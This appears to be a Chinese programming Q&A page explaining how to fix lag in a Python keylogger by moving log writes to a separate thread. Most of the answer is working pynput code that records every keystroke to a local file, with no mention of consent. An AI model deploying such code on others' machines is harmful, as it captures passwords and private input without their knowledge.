You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

按键记录器监听按键时卡顿,能否通过线程技术解决?

用Threading解决按键记录器卡顿问题

当然可以用threading解决这个问题,核心思路是把IO密集型的日志写入操作和按键监听操作拆分到不同线程,避免IO阻塞拖慢按键响应。

原代码的问题

你的代码里,on_press回调直接调用logging.info写日志——硬盘IO的速度远低于按键输入的速度,每次写入都会阻塞监听线程,导致按键响应卡顿。另外listener.join()会完全阻塞主线程,后面的文件读取代码根本不会执行。

优化方案:用队列+多线程解耦

通过线程队列(queue.Queue)把按键事件的收集和日志写入拆分开:监听线程只负责快速收集按键并放入队列,另一个线程专门处理日志写入,彻底避免IO阻塞影响监听。

修改后的代码:

import logging
import threading
import queue
from pynput.keyboard import Listener

log_dir = ""
key_queue = queue.Queue()

def on_press(key):
    # 处理按键字符,特殊按键转成字符串
    try:
        key_content = key.char
    except AttributeError:
        key_content = str(key)
    # 只做快速入队操作,不阻塞监听
    key_queue.put(key_content)

def log_writer():
    # 初始化日志配置
    logging.basicConfig(
        filename=(log_dir + 'keylogs.txt'),
        level=logging.DEBUG,
        format='%(asctime)s: %(message)s'
    )
    # 持续从队列取数据写日志
    while True:
        key = key_queue.get()
        if key is None:  # 用None作为线程停止信号
            break
        logging.info(key)
        key_queue.task_done()

if __name__ == "__main__":
    # 启动日志写入线程(设为守护线程,随主线程退出)
    writer_thread = threading.Thread(target=log_writer, daemon=True)
    writer_thread.start()

    # 启动按键监听
    with Listener(on_press=on_press) as listener:
        listener.join()

    # 正常退出时发送停止信号并等待线程结束
    key_queue.put(None)
    writer_thread.join()

为什么这样能解决卡顿?

  1. 监听线程无阻塞:on_press只做内存级别的队列入队操作,耗时微乎其微,不会拖慢按键响应。
  2. IO操作单独处理:日志写入在独立线程中执行,硬盘IO的延迟不会影响监听线程的运行。
  3. 线程安全:queue.Queue是线程安全的,不用额外加锁就能保证多线程之间的数据传递没问题。

如果需要读取日志文件,建议在单独的线程或进程中处理,避免和监听/写入操作互相干扰。

内容的提问来源于stack exchange,提问作者sam_sep1ol

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.08.20 14:42:28